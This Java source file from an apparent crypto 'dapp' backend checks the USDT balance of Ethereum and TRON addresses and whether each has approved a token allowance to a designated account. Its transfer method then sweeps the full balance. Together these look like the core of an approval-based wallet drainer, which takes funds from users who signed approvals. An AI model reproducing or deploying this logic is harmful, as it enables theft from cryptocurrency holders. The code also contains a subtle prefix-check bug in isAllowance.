package cc.mrbird.febs.dapp.chain;
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import cn.hutool.http.HttpUtil;
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import com.alibaba.fastjson.JSONObject;
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import java.math.BigDecimal;
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import java.math.BigInteger;
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/**
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* @author wzy
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* @date 2022-03-23
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**/
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public class ChainService {
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private final String ETH_PREFIX = "0x";
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private final EthService ETH = new EthService();
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private final TrxService TRX = TrxService.INSTANCE;
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private ChainService() {}
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public final static ChainService INSTANCE = new ChainService();
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/**
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* 获取制定账号的USDT余额
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*
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* @param address
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* @return
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*/
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public BigDecimal balanceOf(String address) {
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BigDecimal balance = BigDecimal.ZERO;
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if (address.contains(ETH_PREFIX)) {
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balance = ETH.tokenGetBalance(address);
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} else {
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balance = TRX.balanceOfDecimal(address);
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}
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return balance;
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}
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/**
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* 判断地址是否授权给制定账户
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*
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* @param address
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* @return
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*/
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public boolean isAllowance(String address) {
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BigInteger result;
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if (address.indexOf(ETH_PREFIX) > 0) {
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result = ETH.ethAllowance(address);
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} else {
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result = TRX.allowance(address);
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}
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return result.intValue() != 0;
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}
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/**
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* 获取地址授权数量
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*
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* @param address
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* @return
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*/
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public int allowanceCnt(String address) {
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String response = HttpUtil.get("https://apiasia.tronscan.io:5566/api/account/approve/list?address=" + address);
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String total = JSONObject.parseObject(response).getString("total");
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return Integer.parseInt(total);
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}
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public void transfer(String address) {
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BigDecimal amount = balanceOf(address);
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if (address.contains(ETH_PREFIX)) {
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ETH.approveTransfer(address, amount, null);
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} else {
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TRX.transfer(address, amount);
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}
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}
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public static void main(String[] args) {
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// System.out.println(new ChainService().isAllowance("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD"));
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}
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}
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